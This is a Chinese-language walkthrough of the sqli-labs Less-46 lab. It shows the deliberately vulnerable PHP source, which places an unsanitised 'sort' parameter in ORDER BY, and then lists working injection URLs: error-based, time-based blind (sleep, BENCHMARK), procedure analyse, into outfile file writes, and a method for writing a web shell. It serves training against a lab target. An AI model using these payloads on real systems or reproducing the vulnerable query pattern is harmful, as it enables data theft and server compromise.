0X1查看頁面

0x2源碼
<?php include("../sql-connections/sql-connect.php"); $id=$_GET['sort']; if(isset($id)) { //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'SORT:'.$id."\n"); fclose($fp); $sql = "SELECT * FROM users ORDER BY $id"; echo $sql . '<br>'; $result = mysql_query($sql); if ($result) { ?> <center> <font color= "#00FF00" size="4"> <table border=1'> <tr> <th> ID </th> <th> USERNAME </th> <th> PASSWORD </th> </tr> </font> </font> <?php while ($row = mysql_fetch_assoc($result)) { echo '<font color= "#00FF11" size="3">'; echo "<tr>"; echo "<td>".$row['id']."</td>"; echo "<td>".$row['username']."</td>"; echo "<td>".$row['password']."</td>"; echo "</tr>"; echo "</font>"; } echo "</table>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input parameter as SORT with numeric value<br><br><br><br>"; echo "<br><br><br>"; echo '<img src="../images/Less-46.jpg" /><br>'; echo "Lesson Concept and code Idea by <b>D4rk</b>"; } ?>
0x3 ORDER BY 分析
(1)首先看看本關sql語句
$sql = "SELECT * FROM users ORDER BY $id";
在mysql中 order by 參數后可以加入升序和降序來改變排列順序,
(2)升降序嘗試


頁面顯示出不同的信息,證明存在sql注入,從頁面中我們可以看出,注入點在order by后面的參數中,而order by不同於的我們在where后的注入點,不能使用union等進行注入。如何進行order by的注入,通過查詢mysql幫助文檔,可以在后面帶入參數來進行注入

0x4 思路分析
(1)order by 后的數字可以作為一個注入點,構造order by 后的一個語句,讓該語句執行結果為一個數,我們嘗試
http://192.168.232.135/sqli-labs/Less-46/?sort=right(database(),1)
解釋下:
rigth函數:是返回右邊結果的第一個字符
mysql>seclet right('hello',1); >'o'
left函數:是返回左邊結果的第一個字符
mysql>seclet left('hello',1); >'h'

經過測試,兩個函數在頁面並沒有任何的反應,證明數字並沒有起作用,考慮下布爾類型。可以利用報錯注入和延時注入。
(2)直接在sort后面構造,形式存在幾種
直接添加注入語句
利用函數(例如:rand 函數等)使用true和false看看結果


利用and,例如?sort=1 and (加sql語句)。
(3)報錯注入實例
floor函數:
http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)

(4)延遲注入實例
http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)
http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))
(4)procedure analyse參數注入
利用procedure analyse參數,我們可以執行報錯注入。同時,在procedure analyse和order by之間可以存在limit參數,我們在實際應用中,往往也可能會存在limit后的注入,可以利用procedure analyse進行注入。
http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)
(5)導入導出文件into outfile參數
http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"
(6)lines terminated by上傳網馬
Into outtfile 文件地址 lines terminated by 0x(網馬進行16進制轉換)
以上部分內容都是摘錄,具體的都是經過了實例認證
